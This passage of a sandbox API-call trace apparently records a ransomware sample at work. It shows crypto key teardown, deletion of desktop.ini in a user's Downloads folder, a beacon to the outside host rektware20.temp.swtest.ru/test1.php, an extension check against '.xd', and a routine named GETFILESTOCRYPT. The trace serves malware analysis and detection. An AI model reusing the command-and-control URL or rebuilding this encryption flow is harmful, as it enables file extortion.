lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.788] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.789] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.789] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.789] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.790] WriteFile (in: hFile=0x2ac, lpBuffer=0x17ca860*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ca860*, lpNumberOfBytesWritten=0x130f01c*=0x120, lpOverlapped=0x0) returned 1 [0059.793] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.793] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.793] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0059.793] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.794] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.794] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0059.794] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0059.794] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0059.794] CryptDestroyKey (hKey=0x164c430) returned 1 [0059.794] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.794] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.794] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.794] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.794] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.795] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.795] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.795] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.795] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.795] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.795] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.795] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.795] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0059.795] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.796] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.796] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.796] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.796] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.796] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0059.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0059.796] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0059.798] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0059.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.798] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.798] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.798] FreeLibrary (hLibModule=0x74c60000) returned 1 [0059.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.798] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.798] CloseHandle (hObject=0x3bc) returned 1 [0059.798] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.798] CloseHandle (hObject=0x2ac) returned 1 [0059.802] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.802] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.803] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", lpFilePart=0x0) returned 0x2b [0059.803] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\desktop.ini")) returned 0x26 [0059.803] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0059.803] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\desktop.ini")) returned 1 [0059.804] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0059.804] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0059.804] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.804] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.804] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.804] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.805] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0059.805] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.805] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.805] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0059.805] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.805] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0059.808] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0059.808] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c) returned 1 [0059.808] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.808] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.808] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0059.809] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0059.809] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0059.810] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0059.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0059.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0059.810] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.817] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.817] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0059.817] CloseHandle (hObject=0x0) returned 0 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Downloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ownloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wnloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nloads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="loads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ads\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ds\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jre-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="re-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="131-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="31-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="windows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="indows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ndows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ows-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ws-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="64.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0059.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.824] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.824] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.824] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.824] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.824] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0059.824] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0059.824] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x130f280, nSize=0x104 | out: 